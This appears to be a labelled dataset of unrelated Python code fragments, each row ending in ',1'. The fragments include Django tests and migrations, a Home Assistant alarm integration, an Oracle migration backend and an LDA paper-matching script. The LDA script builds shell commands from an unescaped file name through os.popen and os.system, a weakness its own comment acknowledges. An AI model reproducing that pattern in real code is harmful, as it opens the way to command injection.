self.user = User.objects.get(pk=self.user.pk) component_tag = Tag.objects.create() component_tag_version = TagVersion.objects.create( tag=component_tag, type=self.component_type, elastic_index=""component"", security_level=None, ) Component.from_obj(component_tag_version).save(refresh='true') with self.subTest('no security level'): res = self.client.get(self.url) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 1) self.assertEqual(res.data['hits'][0]['_id'], str(component_tag_version.pk)) for lvl in self.security_levels: with self.subTest(f'security level {lvl}'): component_tag_version.security_level = lvl component_tag_version.save() Component.from_obj(component_tag_version).save(refresh='true') if lvl == 3: res = self.client.get(self.url) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 1) self.assertEqual(res.data['hits'][0]['_id'], str(component_tag_version.pk)) else: res = self.client.get(self.url) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 0) def test_user_with_multiple_security_levels(self): self.user.user_permissions.add( Permission.objects.get(codename='security_level_1'), Permission.objects.get(codename='security_level_3'), ) self.user = User.objects.get(pk=self.user.pk) component_tag = Tag.objects.create() component_tag_version = TagVersion.objects.create( tag=component_tag, type=self.component_type, elastic_index=""component"", security_level=None, ) Component.from_obj(component_tag_version).save(refresh='true') with self.subTest('no security level'): res = self.client.get(self.url) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 1) self.assertEqual(res.data['hits'][0]['_id'], str(component_tag_version.pk)) for lvl in self.security_levels: with self.subTest(f'security level {lvl}'): component_tag_version.security_level = lvl component_tag_version.save() Component.from_obj(component_tag_version).save(refresh='true') if lvl in [1, 3]: res = self.client.get(self.url) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 1) self.assertEqual(res.data['hits'][0]['_id'], str(component_tag_version.pk)) else: res = self.client.get(self.url) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(len(res.data['hits']), 0) ",1 "o < 1.6 def get_permission_codename(action, opts): return '%s_%s' % (action, opts.object_name.lower()) class ObjectPermissionsModelAdminMixin(object): def has_change_permission(self, request, obj=None): opts = self.opts codename = get_permission_codename('change', opts) return request.user.has_perm('%s.%s' % (opts.app_label, codename), obj) def has_delete_permission(self, request, obj=None): opts = self.opts codename = get_permission_codename('delete', opts) return request.user.has_perm('%s.%s' % (opts.app_label, codename), obj) class ObjectPermissionsInlineModelAdminMixin(ObjectPermissionsModelAdminMixin): def has_change_permission(self, request, obj=None): # pragma: no cover opts = self.opts if opts.auto_created: for field in opts.fields: if field.rel and field.rel.to != self.parent_model: opts = field.rel.to._meta break codename = get_permission_codename('change', opts) return request.user.has_perm('%s.%s' % (opts.app_label, codename), obj) def has_delete_permission(self, request, obj=None): # pragma: no cover if self.opts.auto_created: return self.has_change_permission(request, obj) return super(ObjectPermissionsInlineModelAdminMixin, self).has_delete_permission(request, obj) class ObjectPermissionsModelAdmin(ObjectPermissionsModelAdminMixin, admin.ModelAdmin): pass class ObjectPermissionsStackedInline(ObjectPermissionsInlineModelAdminMixin, admin.StackedInline): pass class ObjectPermissionsTabularInline(ObjectPermissionsInlineModelAdminMixin, admin.TabularInline): pass ",1 "components.alarm_control_panel as alarm from homeassistant.components.alarm_control_panel import PLATFORM_SCHEMA from homeassistant.components.alarm_control_panel.const import ( SUPPORT_ALARM_ARM_AWAY, SUPPORT_ALARM_ARM_HOME, ) from homeassistant.const import ( CONF_HOST, CONF_NAME, CONF_PORT, STATE_ALARM_ARMED_AWAY, STATE_ALARM_ARMED_HOME, STATE_ALARM_DISARMED, STATE_ALARM_TRIGGERED, ) import homeassistant.helpers.config_validation as cv _LOGGER = logging.getLogger(__name__) DEFAULT_HOST = ""localhost"" DEFAULT_NAME = ""NX584"" DEFAULT_PORT = 5007 PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend( { vol.Optional(CONF_HOST, default=DEFAULT_HOST): cv.string, vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string, vol.Optional(CONF_PORT, default=DEFAULT_PORT): cv.port, } ) def setup_platform(hass, config, add_entities, discovery_info=None): """"""Set up the NX584 platform."""""" name = config.get(CONF_NAME) host = config.get(CONF_HOST) port = config.get(CONF_PORT) url = f""http://{host}:{port}"" try: add_entities([NX584Alarm(hass, url, name)]) except requests.exceptions.ConnectionError as ex: _LOGGER.error(""Unable to connect to NX584: %s"", str(ex)) return class NX584Alarm(alarm.AlarmControlPanel): """"""Representation of a NX584-based alarm panel."""""" def __init__(self, hass, url, name): """"""Init the nx584 alarm panel."""""" self._hass = hass self._name = name self._url = url self._alarm = client.Client(self._url) # Do an initial list operation so that we will try to actually # talk to the API and trigger a requests exception for setup_platform() # to catch self._alarm.list_zones() self._state = None @property def name(self): """"""Return the name of the device."""""" return self._name @property def code_format(self): """"""Return one or more digits/characters."""""" return alarm.FORMAT_NUMBER @property def state(self): """"""Return the state of the device."""""" return self._state @property def supported_features(self) -> int: """"""Return the list of supported features."""""" return SUPPORT_ALARM_ARM_HOME | SUPPORT_ALARM_ARM_AWAY def update(self): """"""Process new events from panel."""""" try: part = self._alarm.list_partitions()[0] zones = self._alarm.list_zones() except requests.exceptions.ConnectionError as ex: _LOGGER.error( ""Unable to connect to %(host)s: %(reason)s"", dict(host=self._url, reason=ex), ) self._state = None zones = [] except IndexError: _LOGGER.error(""NX584 reports no partitions"") self._state = None zones = [] bypassed = False for zone in zones: if zone[""bypassed""]: _LOGGER.debug( ""Zone %(zone)s is bypassed, assuming HOME"", dict(zone=zone[""number""]), ) bypassed = True break if not part[""armed""]: self._state = STATE_ALARM_DISARMED elif bypassed: self._state = STATE_ALARM_ARMED_HOME else: self._state = STATE_ALARM_ARMED_AWAY for flag in part[""condition_flags""]: if flag == ""Siren on"": self._state = STATE_ALARM_TRIGGERED def alarm_disarm(self, code=None): """"""Send disarm command."""""" self._alarm.disarm(code) def alarm_arm_home(self, code=None): """"""Send arm home command."""""" self._alarm.arm(""stay"") def alarm_arm_away(self, code=None): """"""Send arm away command."""""" self._alarm.arm(""exit"") ",1 "'' import numpy as np def squeeze_image(img): ''' Return image, remove axes length 1 at end of image shape For example, an image may have shape (10,20,30,1,1). In this case squeeze will result in an image with shape (10,20,30). See doctests for further description of behavior. Parameters ---------- img : ``SpatialImage`` Returns ------- squeezed_img : ``SpatialImage`` Copy of img, such that data, and data shape have been squeezed, for dimensions > 3rd, and at the end of the shape list Examples -------- >>> import nipype.externals.pynifti as nf >>> shape = (10,20,30,1,1) >>> data = np.arange(np.prod(shape)).reshape(shape) >>> affine = np.eye(4) >>> img = nf.Nifti1Image(data, affine) >>> img.get_shape() (10, 20, 30, 1, 1) >>> img2 = squeeze_image(img) >>> img2.get_shape() (10, 20, 30) If the data are 3D then last dimensions of 1 are ignored >>> shape = (10,1,1) >>> data = np.arange(np.prod(shape)).reshape(shape) >>> img = nf.ni1.Nifti1Image(data, affine) >>> img.get_shape() (10, 1, 1) >>> img2 = squeeze_image(img) >>> img2.get_shape() (10, 1, 1) Only *final* dimensions of 1 are squeezed >>> shape = (1, 1, 5, 1, 2, 1, 1) >>> data = data.reshape(shape) >>> img = nf.ni1.Nifti1Image(data, affine) >>> img.get_shape() (1, 1, 5, 1, 2, 1, 1) >>> img2 = squeeze_image(img) >>> img2.get_shape() (1, 1, 5, 1, 2) ''' klass = img.__class__ shape = img.get_shape() slen = len(shape) if slen < 4: return klass.from_image(img) for bdim in shape[3::][::-1]: if bdim == 1: slen-=1 else: break if slen == len(shape): return klass.from_image(img) shape = shape[:slen] data = img.get_data() data = data.reshape(shape) return klass(data, img.get_affine(), img.get_header(), img.extra) def concat_images(images): ''' Concatenate images in list to single image, along last dimension ''' n_imgs = len(images) img0 = images[0] i0shape = img0.get_shape() affine = img0.get_affine() header = img0.get_header() out_shape = (n_imgs, ) + i0shape out_data = np.empty(out_shape) for i, img in enumerate(images): if not np.all(img.get_affine() == affine): raise ValueError('Affines do not match') out_data[i] = img.get_data() out_data = np.rollaxis(out_data, 0, len(i0shape)+1) klass = img0.__class__ return klass(out_data, affine, header) ",1 "reating dir [%s]...\n"" % (output_dir)) os.makedirs(output_dir) prefix = ""/home/cbreeze/for_Alex"" suffix = ""_15_coreMarks_mnemonics.bed"" marks = [ '1_TssA', '2_TssAFlnk', '3_TxFlnk', '4_Tx', '5_TxWk', '6_EnhG', '7_Enh', '8_ZNF/Rpts', '9_Het', '10_TssBiv', '11_BivFlnk', '12_EnhBiv', '13_ReprPC', '14_ReprPCWk', '15_Quies' ] all = [ 'E001', 'E002', 'E003', 'E004', 'E005', 'E006', 'E007', 'E008', 'E009', 'E010', 'E011', 'E012', 'E013', 'E014', 'E015', 'E016', 'E017', 'E018', 'E019', 'E020', 'E021', 'E022', 'E023', 'E024', 'E025', 'E026', 'E027', 'E028', 'E029', 'E030', 'E031', 'E032', 'E033', 'E034', 'E035', 'E036', 'E037', 'E038', 'E039', 'E040', 'E041', 'E042', 'E043', 'E044', 'E045', 'E046', 'E047', 'E048', 'E049', 'E050', 'E051', 'E052', 'E053', 'E054', 'E055', 'E056', 'E057', 'E058', 'E059', 'E061', 'E062', 'E063', 'E065', 'E066', 'E067', 'E068', 'E069', 'E070', 'E071', 'E072', 'E073', 'E074', 'E075', 'E076', 'E077', 'E078', 'E079', 'E080', 'E081', 'E082', 'E083', 'E084', 'E085', 'E086', 'E087', 'E088', 'E089', 'E090', 'E091', 'E092', 'E093', 'E094', 'E095', 'E096', 'E097', 'E098', 'E099', 'E100', 'E101', 'E102', 'E103', 'E104', 'E105', 'E106', 'E107', 'E108', 'E109', 'E110', 'E111', 'E112', 'E113', 'E114', 'E115', 'E116', 'E117', 'E118', 'E119', 'E120', 'E121', 'E122', 'E123', 'E124', 'E125', 'E126', 'E127', 'E128', 'E129' ] # prefix, suffix, marks, all for sample in all: fns = {} fhs = {} # set up output file handles for all combinations of per-sample and marks for mark in marks: fns[mark] = os.path.join(output_dir, ""%s_%s.bed"" % (sample, mark.replace('/', '-'))) sys.stderr.write(""Setting up output handle to [%s]...\n"" % (fns[mark])) fhs[mark] = open(fns[mark], ""w"") # split per-sample mnemonics to per-sample, per-mark file psm_fn = ""%s/%s%s"" % (prefix, sample, suffix) sys.stderr.write(""Reading PSM [%s]...\n"" % (psm_fn)) with open(psm_fn, ""r"") as psm_fh: for line in psm_fh: (chr, start, stop, state_call) = line.strip().split('\t') fhs[state_call].write('\t'.join([chr, start, stop]) + '\n') # close handles for mark in marks: sys.stderr.write(""Closing output handle to [%s]...\n"" % (fns[mark])) fhs[mark].close() fns[mark] = None fhs[mark] = None",1 " dependencies = [ ('characters', '0011_auto_20160212_1144'), ] operations = [ migrations.CreateModel( name='CharacterSpells', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('character', models.ForeignKey(verbose_name='Karakt\xe4r', to='characters.Character')), ], options={ 'verbose_name': 'Karakt\xe4rers magi', 'verbose_name_plural': 'Karakt\xe4rers magi', }, ), migrations.AlterModelOptions( name='spellextras', options={'verbose_name': 'Magi extra', 'verbose_name_plural': 'Magi extra'}, ), migrations.AlterModelOptions( name='spellinfo', options={'verbose_name': 'Magi information', 'verbose_name_plural': 'Magi information'}, ), migrations.AddField( model_name='spellinfo', name='name', field=models.CharField(default='Magins namn', max_length=256, verbose_name='Namn'), ), migrations.AlterField( model_name='spellinfo', name='parent', field=models.ForeignKey(verbose_name='Tillh\xf6righet', to='characters.SpellParent'), ), migrations.AddField( model_name='characterspells', name='spells', field=models.ManyToManyField(to='characters.SpellInfo', verbose_name='Magier och besv\xe4rjelser'), ), ] ",1 "))) nltk.data.path.append(paths.nltk_data_path) use_wordnet = True if use_wordnet: stemmer = nltk.stem.wordnet.WordNetLemmatizer() stem = stemmer.lemmatize else: stemmer = nltk.stem.porter.PorterStemmer() stem = stemmer.stem def tokens(text): replacements = [(""---"","" ""), (""--"","" ""), (""-"", """")] # trying to capture multi-word keywords for (src,tgt) in replacements: text = text.replace(src,tgt) return preprocess(text) def make_bow(doc,d): bow = {} for word in doc: if word in d: wordid = d[word] bow[wordid] = bow.get(wordid,0) + 1 # XXX we should notify something about non-stopwords that we couldn't parse return bow modes = [""fulltext"",""abstracts""] ks = [""20"",""50"",""100"",""200""] dist = [""kl"",""euclidean""] if __name__ == '__main__': args = sys.argv[1:] mode = modes[0] k = ks[0] dfun = dist[0] num = 20 while len(args) > 1: if args[0] == ""-k"": if args[1] in ks: k = args[1] args = args[2:] if args[0] in [""-m"",""--mode""]: if args[1] in modes: mode = args[1] args = args[2:] if args[0] in [""-n"",""--num""]: if int(args[1]) in range(1,50): num = int(args[1]) args = args[2:] if args[0] in [""-d"",""--distance""]: if args[1] in dist: dfun = args[1] args = args[2:] model = os.path.join(mode,""lda"" + k,""final"") words = os.path.join(mode,""vocab.dat"") docs = os.path.join(mode,""docs.dat"") pdf_file = args[0] (base,_) = os.path.splitext(pdf_file) text = os.popen(""/usr/bin/pdftotext \""%s\"" -"" % pdf_file).read() # XXX safe filenames! vocab = words_to_dict(open(words).read().split()) bow = make_bow(map(stem,tokens(text)),vocab) dat_file = base + "".dat"" out = open(dat_file,""w"") out.write(str(len(bow))) out.write(' ') for term in bow: out.write(str(term)) out.write(':') out.write(str(bow[term])) out.write(' ') out.write('\n') out.close() log = base + "".log"" os.system(paths.lda + "" inf settings.txt %s %s %s >%s 2>&1"" % (model,dat_file,base,log)) # XXX capture output, handle errors inf = read(base + ""-gamma.dat"") gammas = read(model + "".gamma"") papers = zip(read(docs), map(lambda s: map(float,s.split()), gammas)) tgt = [""INPUT PDF""] + map(lambda s: map(float,s.split()), inf) # XXX these are the topic values, if we want to visualize them # XXX be careful to not leak our filenames if dfun == ""euclidean"": metric = distance fmt = '%d' elif dfun == ""kl"": metric = kl_divergence fmt = '%f' else: metric = kl_divergence fmt = '%f' papers = map(lambda s: (metric(s[1],tgt[1]),s), papers) papers.sort(lambda x,y: cmp(x[0],y[0])) print ""\nRelated papers:\n"" for (d,(doc,gs)) in papers[0:num]: print (' %s (' + fmt + ')') % (doc,d) ",1 "mport truncate_name from django.core.management.color import no_style from django.db.models.fields import NOT_PROVIDED from django.db.utils import DatabaseError # In revision r16016 function get_sequence_name has been transformed into # method of DatabaseOperations class. To make code backward-compatible we # need to handle both situations. try: from django.db.backends.oracle.base import get_sequence_name\ as original_get_sequence_name except ImportError: original_get_sequence_name = None from south.db import generic warnings.warn(""! WARNING: South's Oracle support is still alpha. "" ""Be wary of possible bugs."") class DatabaseOperations(generic.DatabaseOperations): """""" Oracle implementation of database operations. """""" backend_name = 'oracle' alter_string_set_type = 'ALTER TABLE %(table_name)s MODIFY %(column)s %(type)s %(nullity)s;' alter_string_set_default = 'ALTER TABLE %(table_name)s MODIFY %(column)s DEFAULT %(default)s;' add_column_string = 'ALTER TABLE %s ADD %s;' delete_column_string = 'ALTER TABLE %s DROP COLUMN %s;' add_constraint_string = 'ALTER TABLE %(table_name)s ADD CONSTRAINT %(constraint)s %(clause)s' allows_combined_alters = False has_booleans = False constraints_dict = { 'P': 'PRIMARY KEY', 'U': 'UNIQUE', 'C': 'CHECK', 'R': 'FOREIGN KEY' } def get_sequence_name(self, table_name): if original_get_sequence_name is None: return self._get_connection().ops._get_sequence_name(table_name) else: return original_get_sequence_name(table_name) #TODO: This will cause very obscure bugs if anyone uses a column name or string value # that looks like a column definition (with 'CHECK', 'DEFAULT' and/or 'NULL' in it) # e.g. ""CHECK MATE"" varchar(10) DEFAULT 'NULL' def adj_column_sql(self, col): # Syntax fixes -- Oracle is picky about clause order col = re.sub('(?PCHECK \(.*\))(?P.*)(?PDEFAULT \d+)', lambda mo: '%s %s%s'%(mo.group('default'), mo.group('constr'), mo.group('any')), col) #syntax fix for boolean/integer field only col = re.sub('(?P(NOT )?NULL) (?P(.* )?)(?PDEFAULT.+)', lambda mo: '%s %s %s'%(mo.group('default'),mo.group('not_null'),mo.group('misc') or ''), col) #fix order of NULL/NOT NULL and DEFAULT return col def check_meta(self, table_name): return table_name in [ m._meta.db_table for m in models.get_models() ] #caching provided by Django def normalize_name(self, name): """""" Get the properly shortened and uppercased identifier as returned by quote_name(), but without the actual quotes. """""" nn = self.quote_name(name) if nn[0] == '""' and nn[-1] == '""': nn = nn[1:-1] return nn @generic.invalidate_table_constraints def create_table(self, table_name, fields): qn = self.quote_name(table_name) columns = [] autoinc_sql = '' for field_name, field in fields: col = self.column_sql(table_name, field_name, field) if not col: continue col = self.adj_column_sql(col) columns.append(col) if isinstance(field, models.AutoField): autoinc_sql = connection.ops.autoinc_sql(table_name, field_name) sql = 'CREATE TABLE %s (%s);' % (qn, ', '.join([col for col in columns])) self.execute(sql) if autoinc_sql: self.execute(autoinc_sql[0]) self.execute(autoinc_sql[1]) @generic.invalidate_table_constraints def delete_table(self, table_name, cascade=True): qn = self.quote_name(table_name) # Note: PURGE is not valid syntax for Oracle 9i (it was added in 10) if cascade: self.execute('DROP TABLE %s CASCADE CONSTRAINTS;' % qn) else: self.execute('DROP TABLE %s;' % qn) # If the table has an AutoField a sequence was created. sequence_sql = """""" DECLARE i INTEGER; BEGIN SELECT COUNT(*) INTO i FROM USER_CATALOG WHERE TABLE_NAME = '%(sq_name)s' AND TABLE_TYPE = 'SEQUENCE'; IF i = 1 THEN EXECUTE IMMEDIATE 'DROP SEQUENCE ""%(sq_name)s""'; END IF; END; /"""""" % {'sq_name': self.get_sequence_name(table_name)} self.execute(sequence_sql) @generic.invalidate_table_constraints def alter_column(self, table_name, name, field, explicit_name=True): if self.dry_run: if self.debug: print ' - no dry run output for alter_column() due to dynamic DDL, sorry' return qn = self.quote_name(table_name) # hook for the field to do any resolution prior to it's attributes being queried if hasattr(field, 'south_init'): field.south_init() field = self._field_sanity(field) # Add _id or whatever if we need to field.set_attributes_from_name(name) if not explicit_name: name = field.column qn_col = self.quote_name(name) # First, change the type # This will actually also add any CHECK constraints needed, # since e.g. 'type' for a BooleanField is 'NUMBER(1) CHECK (%(qn_column)s IN (0,1))' params = { 'table_name':qn, 'column': qn_col, 'type': self._db_type_for_alter_column(field), 'nullity': 'NOT NULL', 'default': 'NULL' } if field.null: params['nullity'] = 'NULL' if not field.null and field.has_default(): params['default'] = self._default_value_workaround(field.get_default()) sql_templates = [ (self.alter_string_set_type, params), (self.alter_string_set_default, params.copy()), ] # drop CHECK constraints. Make sure this is executed before the ALTER TABLE statements # generated above, since those statements recreate the constraints we delete here. check_constraints = self._constraints_affecting_columns(table_name, [name], ""CHECK"") for constraint in check_constraints: self.execute(self.delete_check_sql % { 'table': self.quote_name(table_name), 'constraint': self.quote_name(constraint), }) for sql_template, params in sql_templates: try: self.execute(sql_template % params) except DatabaseError, exc: description = str(exc) # Oracle complains if a column is already NULL/NOT NULL if 'ORA-01442' in description or 'ORA-01451' in description: # so we just drop NULL/NOT NULL part from target sql and retry params['nullity'] = '' sql = sql_template % params self.execute(sql) # Oracle also has issues if we try to change a regular column # to a LOB or vice versa (also REF, object, VARRAY or nested # table, but these don't come up much in Django apps) elif 'ORA-22858' in description or 'ORA-22859' in description: self._alter_column_lob_workaround(table_name, name, field) else: raise def _alter_column_lob_workaround(self, table_name, name, field): """""" Oracle refuses to change a column type from/to LOB to/from a regular column. In Django, this shows up when the field is changed from/to a TextField. What we need to do instead is: - Rename the original column - Add the desired field as new - Update the table to transfer values from old to new - Drop old column """""" renamed = self._generate_temp_name(name) self.rename_column(table_name, name, renamed) self.add_column(table_name, name, field, keep_default=False) self.execute(""UPDATE %s set %s=%s"" % ( self.quote_name(table_name), self.quote_name(name), self.quote_name(renamed), )) self.delete_column(table_name, renamed) def _generate_temp_name(self, for_name): suffix = hex(hash(for_name)).upper()[1:] return self.normalize_name(for_name + ""_"" + suffix) @generic.copy_column_constraints #TODO: Appears to be nulled by the delete decorator below... @generic.delete_column_constraints def rename_column(self, table_name, old, new): if old == new: # Short-circuit out return [] self.execute('ALTER TABLE %s RENAME COLUMN %s TO %s;' % ( self.quote_name(table_name), self.quote_name(old), self.quote_name(new), )) @generic.invalidate_table_constraints def add_column(self, table_name, name, field, keep_default=True): sql = self.column_sql(table_name, name, field) sql = self.adj_column_sql(sql) if sql: params = ( self.quote_name(table_name), sql ) sql = self.add_column_string % params self.execute(sql) # Now, drop the default if we need to if not keep_default and field.default is not None: field.default = NOT_PROVIDED self.alter_column(table_name, name, field, explicit_name=False) def delete_column(self, table_name, name): return super(DatabaseOperations, self).delete_column(self.quote_name(table_name), name) def lookup_constraint(self, db_name, table_name, column_name=None): if column_name: # Column names in the constraint cache come from the database, # make sure we use the properly shortened/uppercased version # for lookup. column_name = self.normalize_name(column_name) return super(DatabaseOperations, self).lookup_constraint(db_name, table_name, column_name) def _constraints_affecting_columns(self, table_name, columns, type=""UNIQUE""): if columns: columns = [self.normalize_name(c) for c in columns] return super(DatabaseOperations, self)._constraints_affecting_columns(table_name, columns, type) def _field_sanity(self, field): """""" This particular override stops us sending DEFAULTs for BooleanField. """""" if isinstance(field, models.BooleanField) and field.has_default(): field.default = int(field.to_python(field.get_default())) return field def _default_value_workaround(self, value): from datetime import date,time,datetime if isinstance(value, (date,time,datetime)): return ""'%s'"" % value else: return super(DatabaseOperations, self)._default_value_workaround(value) def _fill_constraint_cache(self, db_name, table_name): self._constraint_cache.setdefault(db_name, {}) self._constraint_cache[db_name][table_name] = {} rows = self.execute("""""" SELECT user_cons_columns.constraint_name, user_cons_columns.column_name, user_constraints.constraint_type FROM user_constraints JOIN user_cons_columns ON user_constraints.table_name = user_cons_columns.table_name AND user_constraints.constraint_name = user_cons_columns.constraint_name WHERE user_constraints.table_name = '%s' """""" % self.normalize_name(table_name)) for constraint, column, kind in rows: self._constraint_cache[db_name][table_name].setdefault(column, set()) self._constraint_cache[db_name][table_name][column].add((self.constraints_dict[kind], constraint)) return ",1 "ssType, FunctionType, MethodType, BuiltinFunctionType import pyclbr from unittest import TestCase StaticMethodType = type(staticmethod(lambda: None)) ClassMethodType = type(classmethod(lambda c: None)) # Silence Py3k warning import_module('commands', deprecated=True) # This next line triggers an error on old versions of pyclbr. from commands import getstatus # Here we test the python class browser code. # # The main function in this suite, 'testModule', compares the output # of pyclbr with the introspected members of a module. Because pyclbr # is imperfect (as designed), testModule is called with a set of # members to ignore. class PyclbrTest(TestCase): def assertListEq(self, l1, l2, ignore): ''' succeed iff {l1} - {ignore} == {l2} - {ignore} ''' missing = (set(l1) ^ set(l2)) - set(ignore) if missing: print >>sys.stderr, ""l1=%r\nl2=%r\nignore=%r"" % (l1, l2, ignore) self.fail(""%r missing"" % missing.pop()) def assertHasattr(self, obj, attr, ignore): ''' succeed iff hasattr(obj,attr) or attr in ignore. ''' if attr in ignore: return if not hasattr(obj, attr): print ""???"", attr self.failUnless(hasattr(obj, attr), 'expected hasattr(%r, %r)' % (obj, attr)) def assertHaskey(self, obj, key, ignore): ''' succeed iff key in obj or key in ignore. ''' if key in ignore: return if key not in obj: print >>sys.stderr, ""***"", key self.assertTrue(key in obj) def assertEqualsOrIgnored(self, a, b, ignore): ''' succeed iff a == b or a in ignore or b in ignore ''' if a not in ignore and b not in ignore: self.assertEqual(a, b) def checkModule(self, moduleName, module=None, ignore=()): ''' succeed iff pyclbr.readmodule_ex(modulename) corresponds to the actual module object, module. Any identifiers in ignore are ignored. If no module is provided, the appropriate module is loaded with __import__.''' if module is None: # Import it. # ('' is to work around an API silliness in __import__) module = __import__(moduleName, globals(), {}, ['']) dict = pyclbr.readmodule_ex(moduleName) def ismethod(oclass, obj, name): classdict = oclass.__dict__ if isinstance(obj, FunctionType): if not isinstance(classdict[name], StaticMethodType): return False else: if not isinstance(obj, MethodType): return False if obj.im_self is not None: if (not isinstance(classdict[name], ClassMethodType) or obj.im_self is not oclass): return False else: if not isinstance(classdict[name], FunctionType): return False objname = obj.__name__ if objname.startswith(""__"") and not objname.endswith(""__""): objname = ""_%s%s"" % (obj.im_class.__name__, objname) return objname == name # Make sure the toplevel functions and classes are the same. for name, value in dict.items(): if name in ignore: continue self.assertHasattr(module, name, ignore) py_item = getattr(module, name) if isinstance(value, pyclbr.Function): self.assert_(isinstance(py_item, (FunctionType, BuiltinFunctionType))) if py_item.__module__ != moduleName: continue # skip functions that came from somewhere else self.assertEquals(py_item.__module__, value.module) else: self.failUnless(isinstance(py_item, (ClassType, type))) if py_item.__module__ != moduleName: continue # skip classes that came from somewhere else real_bases = [base.__name__ for base in py_item.__bases__] pyclbr_bases = [ getattr(base, 'name', base) for base in value.super ] try: self.assertListEq(real_bases, pyclbr_bases, ignore) except: print >>sys.stderr, ""class=%s"" % py_item raise actualMethods = [] for m in py_item.__dict__.keys(): if ismethod(py_item, getattr(py_item, m), m): actualMethods.append(m) foundMethods = [] for m in value.methods.keys(): if m[:2] == '__' and m[-2:] != '__': foundMethods.append('_'+name+m) else: foundMethods.append(m) try: self.assertListEq(foundMethods, actualMethods, ignore) self.assertEquals(py_item.__module__, value.module) self.assertEqualsOrIgnored(py_item.__name__, value.name, ignore) # can't check file or lineno except: print >>sys.stderr, ""class=%s"" % py_item raise # Now check for missing stuff. def defined_in(item, module): if isinstance(item, ClassType): return item.__module__ == module.__name__ if isinstance(item, FunctionType): return item.func_globals is module.__dict__ return False for name in dir(module): item = getattr(module, name) if isinstance(item, (ClassType, FunctionType)): if defined_in(item, module): self.assertHaskey(dict, name, ignore) def test_easy(self): self.checkModule('pyclbr') self.checkModule('doctest') # Silence Py3k warning rfc822 = import_module('rfc822', deprecated=True) self.checkModule('rfc822', rfc822) self.checkModule('difflib') def test_decorators(self): # XXX: See comment in pyclbr_input.py for a test that would fail # if it were not commented out. # self.checkModule('test.pyclbr_input') def test_others(self): cm = self.checkModule # These were once about the 10 longest modules cm('random', ignore=('Random',)) # from _random import Random as CoreGenerator cm('cgi', ignore=('log',)) # set with = in module cm('urllib', ignore=('_CFNumberToInt32', '_CStringFromCFString', '_CFSetup', 'getproxies_registry', 'proxy_bypass_registry', 'proxy_bypass_macosx_sysconf', 'open_https', 'getproxies_macosx_sysconf', 'getproxies_internetconfig',)) # not on all platforms cm('pickle') cm('aifc', ignore=('openfp',)) # set with = in module cm('Cookie') cm('sre_parse', ignore=('dump',)) # from sre_constants import * cm('pdb') cm('pydoc') # Tests for modules inside packages cm('email.parser') cm('test.test_pyclbr') def test_main(): run_unittest(PyclbrTest) if __name__ == ""__main__"": test_main() ",1 "ure def stream(): csv = b'''""a\xc2\x96b\\""c'd\\re\\nf,g\\\\"",1,NULL,""""\n'''.decode('utf-8') return six.StringIO(csv) def test_reader_raw(stream): r = CsvReader(stream, replacements=(), preserve_quotes=True, symbols=(), replace_digits=False) assert list(r) == [['''""a\x96b\\""c'd\\re\\nf,g\\\\""''', '1', 'NULL', '""""']] def test_reader_none(stream): r = CsvReader(stream, replacements=(), preserve_quotes=True, replace_digits=False) assert list(r) == [['''""a\x96b\\""c'd\\re\\nf,g\\\\""''', '1', None, '""""']] def test_reader_quotes(stream): r = CsvReader(stream, replacements=(), replace_digits=False) assert list(r) == [['''a\x96b\\""c'd\\re\\nf,g\\\\''', '1', None, '']] def test_reader_replace(stream): r = CsvReader(stream, replace_digits=False) assert list(r) == [['''a\x96b""c'd\re\nf,g\\''', '1', None, '']] def test_reader_replace_digit(stream): r = CsvReader(stream) assert list(r) == [['''a\x96b""c'd\re\nf,g\\''', 1, None, '']] ",1 "=========================== # FARMWORK FORM # ======================================================== class FarmworkForm(forms.ModelForm): def __init__(self, *args, **kwargs): super(FarmworkForm, self).__init__(*args, **kwargs) class Meta: model = Farmwork fields = [ 'job_role', 'job_fruit', 'job_pay', 'job_pay_type', 'job_start_date', 'job_duration', 'job_duration_type', 'job_description', 'con_first_name', 'con_surname', 'con_number', 'con_email', 'con_description', 'acc_variety', 'acc_price', 'acc_price_type', 'acc_description', 'loc_street_address', 'loc_city', 'loc_state', 'loc_post_code', ] # -- # AUTO GENERATE SLUG ON SAVE # Credit: https://keyerror.com/blog/automatically-generating-unique-slugs-in-django # -- def save(self): if self.instance.pk: return super(FarmworkForm, self).save() instance = super(FarmworkForm, self).save(commit=False) instance.slug = slugify(instance.get_job_fruit_display() + '-' + instance.get_job_role_display() + '-in-' + instance.loc_city) instance.save() return instance ",1 " rest_framework import status from rest_framework.decorators import api_view, permission_classes from rest_framework.response import Response from rest_framework.permissions import IsAdminUser from ..models.security import ( SecurityLoginAttemptIncorrect, SecurityLoginAttemptCorrect ) @api_view(['GET']) @permission_classes((IsAdminUser, )) def correctlogins_data(request): date_start_raw = request.GET.get('date_start') date_end_raw = request.GET.get('date_end') date_start_tz = None date_end_tz = None if not date_start_raw or not date_end_raw: now = timezone.now() date_start_tz = now - timedelta(hours=24) date_end_tz = now else: date_start = datetime.fromtimestamp(int(date_start_raw)) date_start_tz = pytz.timezone(settings.TIME_ZONE).localize(date_start, is_dst=None) date_end = datetime.fromtimestamp(int(date_end_raw)) date_end_tz = pytz.timezone(settings.TIME_ZONE).localize(date_end, is_dst=None) if date_start_tz == date_end_tz: now = timezone.now() date_start_tz = now - timedelta(hours=24) date_end_tz = now count_hosts = [] temp_hosts = {} temp_users = {} dates = [] values = SecurityLoginAttemptCorrect.objects.filter(time__range=[date_start_tz, date_end_tz]) count_correct_attempt = 0 for p in values: value = json.loads(p.value) attempt_count = 0 for host, v in value.get(""hosts"", {}).items(): attempt_count += v.get(""count"", 0) count_correct_attempt += attempt_count raw_date = v.get(""last_date"") date_tz = None if raw_date: date = datetime.fromtimestamp(int(raw_date)) date_tz = pytz.timezone(settings.TIME_ZONE).localize(date, is_dst=None) if host in temp_hosts: temp_hosts[host][""count""] = temp_hosts[host][""count""] + v.get(""count"", 0) temp_hosts[host][""last_date""] = date_tz.strftime(""%b %d 